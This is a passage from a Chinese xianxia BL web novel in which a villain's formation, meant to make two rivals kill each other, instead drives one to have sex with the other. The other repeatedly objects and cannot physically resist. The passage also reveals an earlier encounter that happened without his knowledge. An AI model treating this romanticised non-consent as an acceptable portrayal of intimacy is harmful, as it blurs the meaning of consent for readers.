“二位小友都是人中龙凤,损失任何一位本尊都不忍看见。但,但如今天下情况危急,本尊也只能出此下策,让二位小友在此地做个了断,也算不辜负苍生期望了。” 他一面说着,一面举起袖口,轻轻擦了擦眼角。 云梧后退一步,蹙眉,忍不住道: “别装了。” 听了这句话,问心尊者抹着眼角的袖口停顿,缓缓抬起半边脸,眼里没有泪意,反而冰冷冷的盯着云梧。 “小心他在这里布了阵法。”宴焱立刻传音。 很快问心尊者又低下头去,继续抹眼泪,一边低头,一边轻声道:“云小友,我知道你因为我和你师尊之间的误会对我有意见,但是你放心,我身为叩心台的宗主,立志要为苍生做事,绝对不会偏袒任何一方的——” “所以,”问心尊者终于停下了抹眼泪的动作,放下袖口,抬起头:“你们两个都快点给本尊进去吧!!” 话音落下,地面骤然发出轰隆隆的巨响。 宴焱登时拧眉,想要抽出骨鞭击中迅速后退的问心尊者。尽管他们早有准备,但地上的阵法不似凡物,地动山摇之后,瞬息万变,这比武台骤然换了个模样,赫然是由四根玉柱铸成的巨大祭台!!! 宴焱立刻转头呵斥道; “问心尊者!你言而无信!!” 白虎从问心尊者的身后绕出,头一甩,咬住问心尊者的袖口,将他驼上背,迅速往外飞奔。 问心尊者颤颤巍巍的揪住白虎的毛发,支撑着身体,叩心台在剧烈的摇晃着,不断有厚雪积攒着滚落下高耸的山头,隆隆声不绝,连被赶到一侧、浑然不知道发生什么的命修弟子也没有幸免于难,而是接二连三的被咆哮着的雪崩吞噬。 山头很快陷下一角,唯独中间的祭台高耸不倒,骤然而起的结界网将二人老老实实的禁锢在里边。 问心尊者吐出口血,随即大笑: “哈哈哈宴小友,你从开始就在骗我,何来言而无信一说??” “你以为本尊是傻子吗?你们二人根本就没有决裂,没有——” 白虎飞奔至一个安全的地方,问心尊者这才颤颤巍巍的站上高处,伸出手,指头都在抖,摇摇戳着二人: “你,还有你,你们感情多好啊,和亲兄弟都没有区别了吧哈哈哈,还想骗过本尊的眼睛!!本尊会看不出你们是什么关系吗?” 问心尊者猖狂笑罢,收敛脸上的笑,又缓缓道: “不过没关系,亲兄弟也会手足相残。” “你们要是不认识此阵法,就请容许本尊和你们介绍一番——叩心大阵!这可是历代宗主传下的秘阵!就算是你们有一点点的欲望都会被无限的放大!” 问心尊者那薄而白的嘴皮迅速的上下翻动,没有一点停顿,念咒般的絮絮叨叨:“就算你们一直犹豫不决无法对对方下手,它也会催生你内心深处对气运的渴望,然后相残,相残哈哈哈哈——” 问心尊者癫狂的大笑着,一边笑,一边掏出了他的宝贝命盘,不停的拨弄着。 “哈哈哈我,我要成了,我要成了!!师父师祖,您看到了吗,我要成了!!!哈哈哈” “等到天命之子都死了,我、我就可以改命了,我就可以改命了……” 他疯疯癫癫的念着,视线可怖的咬向迅速合拢的祭台。 云梧眉头皱紧。 祭台结界氤氲的灵力磅礴如海,即使是二人合力也没有办法在短时间内撬开一角。 眼见逃不出去,云梧立刻朝着宴焱靠近,迅速攥住宴焱的手,低声道:“焱焱别怕。” 随着最后一声隆隆声响落下,巨大的祭台被严严实实的闭拢遮盖,投不进一点光,外界的声音和景色全部被隔绝,不大不小的空间中只剩下相对的二人。 阵法启动了。 宴焱咬牙望了眼阵法之外,骨鞭狠狠一甩,溟攀爬着藏入袖中。他转头问道:“他方才那是什么意思?什么欲望不欲望的,哪里来的有什么欲望?胡说八道什么呢……” 一见外界和祭台被彻底分隔开,云梧也没了顾忌,贴近宴焱,抬眸回答道: “叩心阵我是听过的。它和心魔有异曲同工之妙,只不过能勾起修士心里的负面欲望。问心尊者打的算盘应该就是利用这阵法,让我们在这里头相残至死,他则是等到阵法结束,坐收渔利之利。” 云梧顿了顿,又凑近了点,忽然低笑:“焱焱放心,我已经用留影石留下他的话语,如今我师尊应当也收到消息了。而且,他应该也没想到,我对于你最大的负面欲望可不是……而是……” 密闭祭台内的空气浑浊,宴焱的头脑也跟着晕乎乎的。当云梧凑近,慢吞吞的在他耳鬓旁念着那些不堪入耳的字眼时,宴焱才像是反应过来,反射性的伸手一推。 指尖触及云梧的胸口,玄衣隔不住底下肌理的温度,滚烫的传入指尖的神经。宴焱指尖一颤,立刻往回缩: “我警告你,你别想对我做什么,我宴焱是不会再让你这种死断袖得逞的!!” “再说了。”宴焱扬起下巴,虚张声势,大声强调道: “那只是你有这样的心思,我可没有,小心到时候我一个控制不住,就真把你弄死在这了!!” 云梧没有退却,反而步步紧逼。 阵法起效得很快,宴焱只觉得从脖颈开始蔓延起燥热,他极力的想后退,但云梧快他一步,大手一捞,掐住宴焱的腰,把人往里带。 明明是强硬的动作,云梧脸上装得却无辜委屈。 “焱焱想杀我吗。” 大掌握住宴焱的手,提起,轻轻带着它覆盖上云梧的心口。 隔着一层薄薄的玄衣,皮肉之下的震颤清晰可闻。 “焱焱若是想要它的话,尽管拿去吧,反正早就是你的了。” 高大剑修垂着眼睫,唇齿一张一合的说着示弱的话,可攥着腰的手臂绷起道道青筋,摆明了就算是宴焱出手,也不让那个宴焱逃的意思。 死断袖。 宴焱在牙间恶狠狠的一遍又一遍默念着脏话。手往下摁,泄气般的捶打。 “云梧你能不能有点志气!!” 云梧不要脸的接话,把头埋进宴焱脖颈:“牡丹花下死,做鬼也风流。” ‘焱焱想杀就杀,我不反抗。’ 说着,云梧还闭紧了眼皮,一副任君采撷的模样。 宴焱哆嗦着唇。 他只觉得这阵法果然厉害,连他的脑子都有点转不动了,只能听见靠在他身边的云梧极重的心跳。 一下又一下的,敲击着他的耳膜。 “够了,够了。云梧,我没和你开玩笑,你离我远点,之后我们努力撑到阵法结束就可以了。我怕我真的会把你杀了……” 宴焱开口劝说。 云梧却忽然抬起头,眼眸乌黑而亮: “可是焱焱,你明明舍不得杀我。” 第85章 双修真相 宴焱愣住了。 云梧贴着他, 他们的距离是那样的近。灼热的吐息毫无章法的喷洒,酥酥麻麻的拂过宴焱的面颊,让他原本就混乱的头脑更加无法思考。 “你胡说。” 宴焱张唇反驳。他想抬起手握紧手中骨鞭, 让眼前这个无法无天的断袖知道一些他的厉害。可是指头关节是如此的松软, 连最基本的蜷缩握紧都无法做到。 宴焱不可置信的低下头, 又一次尝试握紧。 不对劲。 意识到自己浑身的力气都卸去了大半, 甚至雪白的脖颈也一并染上薄红,宴焱的唇瓣抖了抖,哆嗦的问道: “你是不是给我下了药了??为什么我的手使不上力气了。” 云梧闻言, 忽地提唇, 凑近。宴焱只见眼前的一张俊脸猛然放大,鼻尖贴着鼻尖。却听云梧眉眼含笑,轻声道: “焱焱,我没下药啊。” 他忽地伸出手,指尖轻碾过宴焱胸膛上的红艳,声音沙哑, 慢吞吞道: “焱焱难道忘记我方才说的话了吗, 明明是这阵法的原因……” 阵法?什么阵法的原因? 宴焱的脑中一团浆糊, 云梧说出的字眼在他脑中撕毁重整,怎么也无法拼凑成一个完整的句子。只是身上的温度越来越高, 不仅仅是他身上的,云梧身上的热气也灼热无比, 如火炉般烧起。 过了好半会儿, 宴焱才缓过神, 意识到了云梧的话中话。 宴焱凤眸圆睁,条件反射般的高声驳斥道:“怎么可能?绝对是哪里出问题了,一定是哪里出问题了……” 他念着, 想要证明什么一样,举起手妄图把云梧往外推。 可手掌即使贴上了云梧的肩头,手肘却很快软了下来,使不上劲,哆哆嗦嗦的直打颤。 宴焱只觉得眼前阵阵发黑。 这剧本怎么回事??! 他明明是一个比钢铁还要直还要坚硬的直男!! 自己一个堂堂点家男主,遇到这种阵法难道不应该是涌起杀意、肾上腺素飚升,然后借助金手指把宿敌除之而后快吗……为什么,为什么会这样…… 宴焱哆嗦着抬头望天怀疑人生,云梧则是低头,唇瓣自动导航到食物的位置。 他的手一伸,熟练的揽过宴焱的腰,另一只手熟门熟路的找到腰带,一拉一扯,眼见着宴焱衣领就这么敞开,露出里边鲜嫩的包子馅。 包子已经被蒸熟了,白里透红。云梧低头,精准的叼住包子馅,牙尖不轻不重的磨了磨。 宴焱一个激灵,反应过来云梧在做什么后,面色顿时烧得愈发红。腿抬起就要踹,可脚踝还没有抬高多少,又被云梧攥住脚踝,挂到腰间。 很危险的姿势。 宴焱再也不是当初单纯的直男了,在六界的这些日子里他经历了许多风霜,已经能够意识到接下来要发生什么了。 “不要,云梧,不,云兄,你冷静点……” 闻言,云梧一边咬,一边抬起头,嘴里含糊不清的道: “可是焱焱明明也想的啊。” 敏感处被牵动,于是宴焱的腰身便可怜的拱起,以免馅肉被拉扯过长。可这动作却像是把自己往云梧嘴里送一样,羊入虎口,再也没有逃脱的可能。 眼见云梧的动作越来越猖狂,宴焱急了,连忙晓之以理动之以情: “云兄,这阵法的时间这么短,到时候要是开阵了让被人看到了多不好。况且定是这个阵法有问题,是那问心尊者的布阵有了差错,怎么可能是他说的那样,你不要往下了——” 宴焱唇边话语不停,也不断的往后挪着,可云梧一眼就瞧出了他的心思,不但没有松手,反而熟稔的一捏臀肉,轻笑道: “焱焱,问心尊者的阵法可是六界顶尖,他怎么会弄错了呢。” 云梧垂下眼睫,唇角微扬,眉眼间满是心愿得逞的得意。他抽开手,指尖晃了晃。 “这就是证据啊焱焱。” 宴焱瞳孔一缩,瞧清楚云梧手指上的是什么之后,脸皮顿时烧得通红,唇齿也哆嗦着半晌说不出狡辩的话。 他只觉得身子越来越热。此时的阵法内没有自己想象中和宿敌的搏杀。反而是和吃了什么药一样,浑身瘫软,任由云梧动作。 为什么会这样呢…… 明明应该是要被激起战意的,自己为什么会变成如今这样? 宴焱想不明白,宴焱也不敢细想。 他漂亮的凤眸失焦了片刻。于是古板繁复的外裳如同剥洋葱般层层掉落,叠在脚踝处。大面积的布料铺散开,层层叠叠的衬着身着亵衣的身体如同玉般漂亮白皙,骨肉停匀,随着呼吸缓缓颤抖。(受有穿衣服!! 云梧的双手如同游鱼一般巡逻着,上上下下、反反复复。 只见随身带的包子被手拿把掐,翻来覆去的捏。 云梧乐此不疲的玩弄,宴焱则是早已卸力瘫软,过了好半会儿才找回点理智,哆嗦着去推云梧的肩膀,麻木的重申道: “我们是好兄弟,对吧……不是那种关系,只是好兄弟,好兄弟……” 宴焱一直失神的强调念叨着这句话,与其说是想要让云梧即时收手,不如说是催眠给自己听的。 云梧轻笑一声。他虎口掐住宴焱的下巴,轻轻将那漂亮失神的脸庞掰正,让凤眸对正自己的眼睛,凑近了哄道: “对,焱焱说的都对。我们不是断袖,我们这就只是好兄弟打闹着玩的,焱焱也不是断袖,焱焱是直男,焱焱现在只是不忍心伤害兄弟而做出的让步。” 宴焱听见自己想听的答案,立马附和着重复了几遍,最后还得寸进尺的道: “对啊,对,就是正常的互帮互助。都怪你,经常说那些什么乱七八糟的话让我的思维都不正常了。” “这两次就是例外,反正以后不能这样了,以后就、就回归正常的好兄弟,听到没有?不然我就和别人做好兄弟……” 宴焱的唇瓣润润的,一张一合间飞快的念叨着自己的计划。 云梧停下了动作,视线幽深的望向宴焱翕动的唇齿,等他说完,忽地咧嘴轻笑: “焱焱你说错了。不是两次哦。” 他俯下身,指头捏玩着宴焱的耳垂,低声道: “是三次呢。” 宴焱的眼神清明了一点,反驳:“什么三次?哪里来的三次,你胡说,我明明只和你……” 忽地,他像是想到了什么,凤眸顿时瞪大,不可置信的回望: “那次双修??!!” 云梧笑眼眯眯的回望,他没有否认也没有承认,可薄情眼里的笑意却好似作答,激得宴焱差点儿炸毛蹦起来。 可惜现在宴焱被云梧死死按住,钉在原地,根本没办法逃,否则宴焱定要冲出去把那死系统活剥了不可!! 死系统死断袖统统去死!!! 宴焱只觉得耳边轰隆隆作响,眼前阵阵发黑,呼吸急促的喘了几口这才缓过神。 怪不得呢,怪不得那次在梦魇中睡醒的感觉是那么的熟悉。他本来还安慰自己是错觉,肯定是错觉,自己身为直男的操守怎么可能这么早就被攻破了…… 没想到,没想到…… 宴焱心如死灰。 宴焱彻底对这个充满男同的六界绝望了。 意识到自己的屁股早就已经遭遇不测光荣战损。宴焱第一次有了摆烂的想法,他成‘大’字一躺,放开手脚,面露绝望的催促道: “你快点。” 说完,宴焱重重的一闭眼,想要装死度过此男同劫。 没关系的,没关系的,出了这个阵法就没有人知道这件事情。他宴焱起码在世俗意义上还是个直男,还有挽回的余地。五百年之后等他和云梧都淡忘了这件事,不就和没发生是一样的道理吗?他宴焱就还是直男,还是一条好汉! 但云梧存心没想放过他,大手一伸把人捞起,不满的轻声问道: “焱焱说的恢复正常是什么意思呢,哪种正常?是这样的正常吗?还是这种……” 云梧一边说一边暗自发力,另一只手一遍又一遍的抚摸过宴焱光洁的脊背,指腹粗粝的剑茧沿着皮肉蜿蜒下滑,一路落向尾椎骨,轻轻往下摁了摁。 宴焱挣扎着往上逃,慌忙大声道: “就是那种我结婚你当伴郎的那种正常!!” 此话一出,云梧方才还轻柔的力道一重,没说话,只是低头沉默的继续。 宴焱身体抖了抖,他立刻后悔了。宁愿云梧说几句骚话怼自己,也不要这样一句话也不说就只知道蛮力捉弄他。 于是宴焱很识时务的丢掉了他身为直男的包袱,颤着唇,出声安抚道: “错了,停下,我说错了,我真错了,不是你当伴郎,你、你当新郎总行了吧。” 可云梧不领情,还抬眼幽怨的阴阳怪气道: “焱焱对兄弟这么好吗?自己的婚礼还让兄弟当新郎。是别的兄弟都有,还是只有我一个兄弟有?新娘又是谁,你看上谁了……” 宴焱被折磨得没办法了,只好极力凑近云梧,哆嗦着把唇贴近他的耳廓: “是我,新娘是我。” 第86章 天道 明知道宴焱是被逼急才说出这话, 云梧却还是很受用。他轻眯了眯眼,唇角一扬,眼里是止不住的笑意。 “好啊, 我记着呢。这可是焱焱亲口答应过我的。” 他一手扣住宴焱的肩头, 另只手抵住背, 将人抬起。随即从善如流的垂头, 衔住了宴焱的唇,不由分说的便往里探。 可怜宴焱还没回过神,只觉得口腔被什么又沉又闷的东西覆盖住, 胡乱的搅动吮吸, 毫无章法,只是一遍又一遍的搜刮着腔壁的甜味,害得宴焱的唇肉都肿大了几分。 宴焱睁着凤眸,无助的‘唔唔’几声,随即伸手推搡云梧的胸口,趁着结束的间隙赶忙道: “别、别再来了, 阵法要结束了!!” 云梧低头瞧了瞧宴焱生艳的凤眸, 轻笑一声, 伸手捏了捏宴焱的面颊。 在不出意外的得到宴焱气急败坏的怒瞪之后,云梧这才大发慈悲的拉开一段距离, 但手下动作不停,开始整理宴焱的身上的衣着。 但可惜的是, 一通胡乱的纠缠之下二人的衣物早就层叠交缠在一起, 分不清你我。眼见着阵法要落下, 宴焱额角直跳,一面恶狠狠的低声埋怨,一面慌忙去找自己的衣物。 宴焱的心思一直放在把衣服穿好这件事上, 也竟然忽略他和云梧此刻糟糕的坐姿。 二人面对面坐着,宴焱的长腿探出衣裳厚重的下摆,伶仃的挂靠在云梧的腰旁,白皙修长,趾头尖因热气还泛着粉。上半身哆哆嗦嗦的在穿衣服,连带腿部轻微的颤抖。 云梧倒是不急,慢条斯理的穿。一边穿一边掩不住眉眼间的得意,仿佛还在回味宴焱刚才的话呢。 宴焱见云梧磨磨蹭蹭穿了这么久,用脚趾头想都知道云梧打得是什么主意,不客气的锤了云梧一拳,气道: “你快点儿穿!!露着背生怕别人不知道刚刚发生什么吗??” 云梧意犹未尽的摸了摸自己的背,麦色脊背上赫然有几道刺眼的长痕,凌乱的交织着,轻轻肿胀,明眼人都知道是怎么弄出来的。 但云梧是何人,怎么会讪讪的听话穿衣呢?只见他嘚瑟的一仰头,胡搅蛮缠道: “焱焱,这是我们比斗过的证明呀。焱焱和我是关系好的兄弟才会……唔” 云梧还没说完他的诨话,宴焱早已猜到他下面要说什么了,眼疾手快的捂住他的嘴。怎料掌心一湿,宴焱面色瞬间又涨红,是羞的也是气的。 就见云梧眉眼含笑,反客为主的紧握住宴焱的掌心,往下按了按,唇瓣轻轻啄吻着掌心的软肉。 手心的肉很敏感,跟别提被人这样来回的磨蹭和啄吻了,宴焱凤眸怒睁,气得说话也哆嗦了。 “云梧!!松手!!” 这种时候了,居然还想着调戏他! 云梧见宴焱真恼了,也只好手往下一滑,顺势攥住宴焱的手腕,往里头拉,轻轻的抵在自己的心窝处,一双含情含笑的眼盯着宴焱。 但此刻宴焱已经没有心思再和云梧纠缠了。 只见原本封闭的阵法豁然开了一个小角,点点光亮从中透入,很快,光线扩大,眼见就要破开阵法。 叩心阵有时效,通常是三个时辰左右。宴焱方才和云梧胡闹一通,一时间也忘记了时辰。眼睁睁看着阵法打开,连忙把腿往回勾,但宴焱抽回得太急,一次没有成功,第二次再想抽回,外边的阵法已经落下了。 问心尊者已经在外边等候多时。 灵力流大乱,凌厉的风刮着他的发,张牙舞爪的铺开。问心尊者手中还紧紧攥着命盘,此时那命盘中的指针胡乱晃动着,阵法之上,两团势均力敌的气运交织搏斗,谁也不让着谁。 问心尊者的眼睛牢牢盯紧了缠绕的气运,嘴里疯狂的喃喃自语: “好,好,很好,哈哈哈哈哈太好了!!” “斗得好,斗得两败俱伤最好……两个都给我玉石俱焚吧,玉石俱焚吧!!” 眼看着阵法逐渐关闭,问心尊者眼睛顿时一亮,他抬头望了眼两团胶着的气运,唇角的弧度高高扬起。 两个气运之子的气运居然相缠至此,几乎不分你我。 能够如此纠缠,恐怕只有一种可能,那就是气运之子早已经被阵法所惑住,要同归于尽了! 问心尊者哆嗦的捧着手中命盘,随着阵法的落下,步步走近。 他一边走,一边情难自已的大笑出声: “哈哈哈,就算是天命之子又如何,就算是天道宠儿又如何,最后还不是落得个玉石俱焚的下场哈哈哈!” “凭什么我费尽心思,费劲全力只能做你们的陪衬?凭什么我的气运就算拼尽全力也只能是你们的附庸!!” “师尊师祖,你们看,你们看啊,我做到了……我做到了!!我要逆天改命了!” 问心尊者癫狂的大笑,手中命盘飞速旋转,与此同时他大踏步向前朝着阵法的方向步步逼近,脸上再也没有了往日的温文尔雅,而是藏不住的癫狂和贪婪。 天命之子互相残杀,气运也会一起相互蚕食。 问心尊者算好了时间,算好了阵法,只要他们两个的气运有了削弱,他就可以借助着魂灵之乱一举将气运收归—— 阵法缓缓落下,问心尊者的瞳孔也兴奋的瞪大,呼吸剧烈的起伏着,目不转睛的盯着眼前的景象。 角落里似乎有两个人影。 问心尊者的嘴角上扬,声音中藏不住的兴奋: “好,打得好啊,两位小友怎么不动了呢?是不是都受伤了?啊哈哈哈哈!” 随着他的笑声越来越大,眼前的两个人影也越来越清晰。 人影交叠,打得很激烈,衣服都七零八落的,有些跌散在地上,有些挂靠在臂弯和腰间。甚至宴焱的一只修长的腿还挂靠在云梧的腰上,整个人往后靠着,得亏是云梧扶着他的腰才不至于落在地上。 二人见了问心尊者,云梧倒是一脸坦然,宴焱则是眼神飘忽,不敢直视。 问心尊者:…… 他的笑声戛然而止。 他忽然有种不好的预感。 问心尊者双手捧着命盘,凄厉的风打在他的脸上,很疼,也在提醒他不是梦。 他上上下下,哆哆嗦嗦的观察了二人好几遍。 问心尊者抬头看了眼交缠的气运。 问心尊者低头确认了一遍自己的阵法。 最后他抬起头,木然的问: “你们在干什么。” 不是问句,是绝望的陈述句。 宴焱尴尬的撇过头,妄图收回自己的腿,不料身体不稳,跌得踉跄了下。云梧立刻娴熟的一只手搂过他的腰,一只手垫了垫臀,不顾问心尊者如刀一样的视线,将宴焱稳稳当当的抱进怀里。 甚至在抱入怀中之后,云梧还要挑衅的抬眼望向问心尊者,勾唇,似乎在讥嘲问心尊者的少见多怪。 问心尊者的视线如芒在背,宴焱没来由的心虚。 俩人面色红润,气运昌盛,纠缠在一起不分你我,哪里有什么玉石俱焚的模样? 问心尊者唇色泛白,他紧攥着命盘,忽地高声冲着宴焱质问道: “你不是讨厌断袖吗??!!” 问心尊者这样吼,宴焱还没来得及做出反应,云梧倒是先不乐意了。 他熟稔的搂过宴焱的肩头,把自己挡在宴焱前面,护着宴焱,不悦挑眉道: “老不死的会不会好好说话,吓到焱焱了怎么办?” 说完,云梧还特意低下头,唇瓣蜻蜓点水的拂过宴焱的额,轻声哄道:“焱焱你没吓到吧?” 问心尊者气血上涌,目眦欲裂,喉咙咕隆咕隆的阵响,鲜艳的红丝从唇角溢出。 宴焱这会儿终于反应过来,尴尬侧目,此地无语三百两的云梧隔开一段距离,高声辩解道: “对啊,我就是讨厌断袖!我和云梧只是兄弟情而已,兄弟情!铁打的兄弟情!” 问心尊者踉跄几步,圆瞪着眼,又看了眼二人,气极反笑: “好好好,好你个兄弟,好你个兄弟!!” 宴焱嘴硬辩驳道: “怎么?你没见过好兄弟感情好的吗?少见多怪,不要随便就污蔑别人是断袖。” 云梧小鸡啄米点头,无脑附和: “对啊对啊,少见多怪,少见多怪。” 他一边附和同意,一边还伸手替宴焱去整理衣领,从善如流的继续给宴焱穿衣服。 方才动作大了,宴焱匆忙穿上的衣服就不由自主的滑落,露出里头凌乱可怜的吻掐过的痕迹,刺眼又显目。 问心尊者深深一闭眼,唇瓣哆嗦着说不出话。 白虎从他的身后绕出,甩了甩尾巴,看了二人一眼,又瞧了眼摇摇欲坠的主人,不住的摇头。 阵法大开之前云梧早已将证据传给了怀远剑尊,如今阵法大开,各路被集结的门派也一呼而起的蜂拥至叩心台。 叩心台下早已密密麻麻的围攻了不少修士,来自各门各派,都举着长戟看这大刀,愤怒的高呼着让问心尊者出来给六界一个交代。 撼天动地的讨伐声一重接着一重的涌来,灌入问心尊者的耳中,让他不由得狠狠吸了口气,哆嗦着回头。 怀远剑尊来的很及时,他不仅仅带了蜀山剑宗的精锐,同他一起的还有各个门派的长老宗主。 云梧和宴焱早已整装完毕,一个抱着剑,一个手执骨鞭,左右将问心尊者包围,不让他逃出此地。 攻上蜀山剑宗的罗刹门虽说一时气势盛大,但蜀山剑宗终归还是天下第一宗,加之云梧早就在宗内留有准备,没过多少的时间就将这群入侵者尽数赶杀。 怀远剑尊则是马不停蹄的向天下传颁证据。这些天里怀远剑尊奔波于六界并非一无所获,还是在各个地方找寻到了关键的线索。 如今人证物证俱在,问心尊者就算是有八百张嘴也解释不清楚了! “问心!束手就擒,念着旧情我还能让你元魂不散!” 怀远剑尊率先抽出剑,剑尖遥遥对准问心尊者,眼神复杂,开口道。 问心尊者已经从悲愤中回过神来,他的视线缓缓扫过缓缓围来的大能们,忽地哆嗦着冷哼一声: “一群懦夫!” 人群中立刻传来不满的回怼声: “我们是懦夫??问心,试问你一手策划的这场好戏害死了多少人,你竟然还有脸说我们是懦夫?” 问心尊者丝毫没有畏惧,反而骄傲的冷笑道: “你们难道不是懦夫吗?明明知道自己只是命运的傀儡,一生都要被气运所挟持掌控却生不起反抗的心思!” “凭什么!!” 问心尊者一挥袖子,怒而瞪向云梧和宴焱。 “凭什么他们生来就拥有一切,凭什么千万年后我要泯灭于苍生,他们就可以青史留名??凭什么!!” 命盘疯狂的转动着,古铜色的盘身裂缝盘缠,问心尊者一口鲜血喷出,鲜红的血液便顺着命盘的缝隙洇入命盘之中,隐隐作颤。 “如今我反抗了,你们这群懦夫不支持我就算了,居然还要对我兵刃相向,哈哈哈哈真是好笑,真是好笑!!” 问心尊者话音刚落,道道闷雷便从高处苍穹浓厚的乌云处劈下,狠狠的落在叩心台的山体之上,轰隆作响,犹如猛兽的低吟。 “强词夺理。” 云梧冷着脸,步步逼近。 “如果以其他生灵作为牺牲品来满足一己私欲就是正义,那将天下苍生又置于何地?他们的命不是命吗?” “况且,恕我直言。天道不是傻子,它也知道不该选择你这样的人。” 云梧的话音落下,厚云层中立刻滚过道道闷雷,雷声此起彼伏,隐隐团聚成一巨大的劫数雷,盘踞在叩心台的上方。 “就是!!”立刻有人出声附和。 “如今六界大乱,多少苍生因你而暴亡,你居然还在为自己辩解!!” 地上修士们步步紧逼,天上雷云密布。 问心尊者抬头望了眼熟悉的苍穹,千年来他多少次在此地苦修,多少次妄图得天机。但如今,天道雷鸣声滚滚而来,似乎已经将他注定的结局钉写在册。 可他想不认命。 问心尊者缓缓转过头,视线锐利扫过眼前二人,忽地停在了宴焱的身上,蓦地顿了顿。 宴焱心头一跳,隐隐又种不好的预感。 却见问心尊者突然举起手中的命盘,疯疯癫癫的举起手,高声大笑道: “好好好,好好好,看来我还是败在既定的命运上了。” 笑完,他冷冷的转头,继续盯向宴焱。 “既然如此,那为什么你不能回到你既定的命运!!” 宴焱蓦地皱起眉头,后退一步,不明所以的问道: “你在说什么?” 可问心尊者没有回话了。 他迅速低头,手成爪状刺向自己的丹田,几息的功夫便抛出丹田。 手中命盘开始疯狂的转动,有一股强大的吸附力将问心尊者的丹田硬生生的拽进命盘,裂缝之中猛然刺出耀眼的光芒,红色顺着裂缝蜿蜒曲折,于此同时,问心尊者猛然跪地,以血为契,在雪地之上高声大喝: “晚辈问心,叩请命数归位!!” “叩请命数归位——” 随着问心尊者凄厉的呐喊声落下,异况出现了。 宴焱立刻提起手中骨鞭,可没等他继续反应,苍穹之中的雷光越滚越大,越滚越旺盛,逐渐形成了盘踞厚重的漩涡云。 圆形的雷云中间硬生生的凹下一个飞速旋转的大口,风声起伏的咆哮着,雷光交缠,犹如天幕撕开的一道巨口。 巨大的漩涡云迅速沉下,遮天蔽日,笼罩住小小山巅之上如同蚂蚁般的修士们。 是天道。 云梧立刻攥紧了宴焱的手腕,另一只手提剑,眉眼中戾气横生,望向逼来的天道雷云。 藏在系统空间中的溯世镜发出疯狂的颤动,系统也在这时跳了出来,它似乎漏电了,滋哇乱叫着: “不好了宿主,不好了,咱的剧情线和时间线全乱了!全乱了!” 宴焱没有回话,面色凝重的抬头望向眼前逼近的天道雷云。无声的紧紧回握住云梧的手。 可下一秒,天道动了。 雷光瞬间交织,组成一张遮天蔽日的雷网。它似乎下定了决心,雷网从四面八方涌来,精准的落向了处于最中心的宴焱和云梧。 眼见雷网逼近,云梧迅速侧身,意图将宴焱拥入怀中。 但他晚了天道一步。 刹那间,风声,雷声,人的呼喊瞬间凝固。 宴焱只觉得手心一空,另一只滚烫的掌被什么东西剥离而开。他尝试着一次次握紧手心,妄图寻找熟悉的热源。 迎接他的是空无一物。 * 蜀山剑宗,火翎峰。 这对于云梧来说是个平淡的一天。 他像往常一样起身,先是调理自己的内息,而后在日头刚刚探出火翎峰的山头时准时睁开眼,下床,推开吱吱呀呀作响的木门,沿着门前的小路出去。 今天天气不错。 云梧木着脸抬头扫过晴朗无云的天幕,又迅速低头擦拭自己的本命剑。 箐云剑剑身被他擦拭得锃亮无比,剑身一侧,就能反射出冰冷的光晕,斜斜的落在初雪后的地面上,晃开一片雪光。 云梧低头打量了两眼箐云剑,又收回眼,提剑继续朝着熟悉的竹林走去。 这把箐云剑是上古铜铁所制成,削铁如泥。上古铜铁是他从恶寒的东境深渊辛辛苦苦夺来的,而后又托了师尊的福气,请了位天下有名的大师铸成此剑,赐名箐云。 云梧对它自然是宝贝至极。 毕竟,没有什么东西比剑、还有剑道更重要了。 云梧冷着一张脸,漫无目的地想着师尊时常念叨的话。 竹林岑寂无人,云梧在此处练了一上午的剑术。效果倒是不错,‘游龙’已经融会贯通,‘惊鸿’也练得不错,比昨日好一些。如果两个组合能够连贯,应该还能再进步不少。 云梧低头复盘着。 自从那一次他从冥界顺利寻到万年魂莲之后,一直困扰云梧的瓶颈也被顺利突破,如今境界大成,又加上剑法也有所感悟,他对于六界论道大会的把握也多上几分。 练剑一直持续到日头落山,云梧这才堪堪停住,转而又开始胡思乱想。 很奇怪,今天的他不知道为什么一直在想七想八,练剑的时候也是,平常练剑时他的脑子里都在复盘重演方才的动作,可今天不同,总是在漫无目的地思来想去,练了一会儿就要走神。 云梧攥紧眉。 师尊可是特地交代过了,此次的六界证道大会极为重要。不仅仅是百年难遇的重大盛会,并且连奖品也成了世间珍宝的溯世镜。 他利落的把箐云剑收归剑鞘。天色已晚,云梧又重新回到洞府,像往常的任何一天一样,他盘腿在榻上坐下,睁着眼,继续发愣。 这一次六界论道大会赛制和以前一样,没什么特别的,连对手也是。 也就齐岳和那什么罗奇二人是云梧有点印象,其他的也不过是泛泛之辈,没什么好想的。 况且那俩人也不是云梧的对手。 怀远剑尊对这次比赛地结果胸有成竹,云梧虽说不喜狂妄自大,但不可否认的是,如今这般局面看来,天下小辈没有他云梧的对手。 云梧盯着房顶,慢吞吞的盘算着。 等参加完这一次的大会,他要先去北境历练一趟,再找一处人迹罕至的灵地闭关。这一次他要闭关百年、或者是千年,等到了闭关出来,再…… 再什么呢?然后呢? 云梧忽地愣在原地,久久的盯着空中一个虚无的点。 心脏在皮肉之下缓慢而沉重的跳动着,一下接着一下,掷地有声。 不知道为什么,明明一切都很正常,一切都很顺利,就像他云梧平坦顺利的一生一样,不会发生什么意外,也不会有什么变故。 可是,云梧就是觉得心脏的某一块空落落的,好像少了点什么。 很疼很疼。 抬起手,云梧缓缓的抵住自己的胸口,表情木然而困惑。他缓缓低下头,望向自己心脏的位置。 有一滴奇怪的,晶莹的泪从他的眼眶里坠落,重重的砸在玄衣之上。 云梧眨了眨眼,呆呆的抬手去碰自己的眼睛,面露困惑。 什么也没有。没有眼泪,泪渍也很快被玄衣吸收殆尽。 仿佛那一滴眼泪、今天发生的所有奇怪的事情都是一场错觉。 第87章 君生我未生 云梧猛地睁开眼。 竹舍透进屋外白雪反射进的阳光, 明晃晃的打在他的眼皮上,他侧头,失神的望向窗外一尘不变的积雪。 他又做梦了。 那日没来由的心悸之后, 他便开始频繁的做梦。 可惜梦的内容他记不清。只记得梦很长, 也很繁复。梦里隐约有个人影, 单薄颀长, 面容模糊,也不知道名字。云梧几次三番的想伸手抓住他的手腕,仔细瞧瞧他的脸, 可每回都以失败告终。 到底是谁? 云梧头疼的闭了闭眼, 索性不想了。他起身,重新整衣提剑,寻着他走过无数次的山路向下走去。 今天的日子特殊,是六界证道大会的第二关。 高高筑起的擂台下人声鼎沸,云梧照常跃上擂台,借着高处的地势朝着人群扫了几眼。 他不喜交际, 在场熟识之人除了师尊师叔没有旁的。此时他们都遥遥高座在台上, 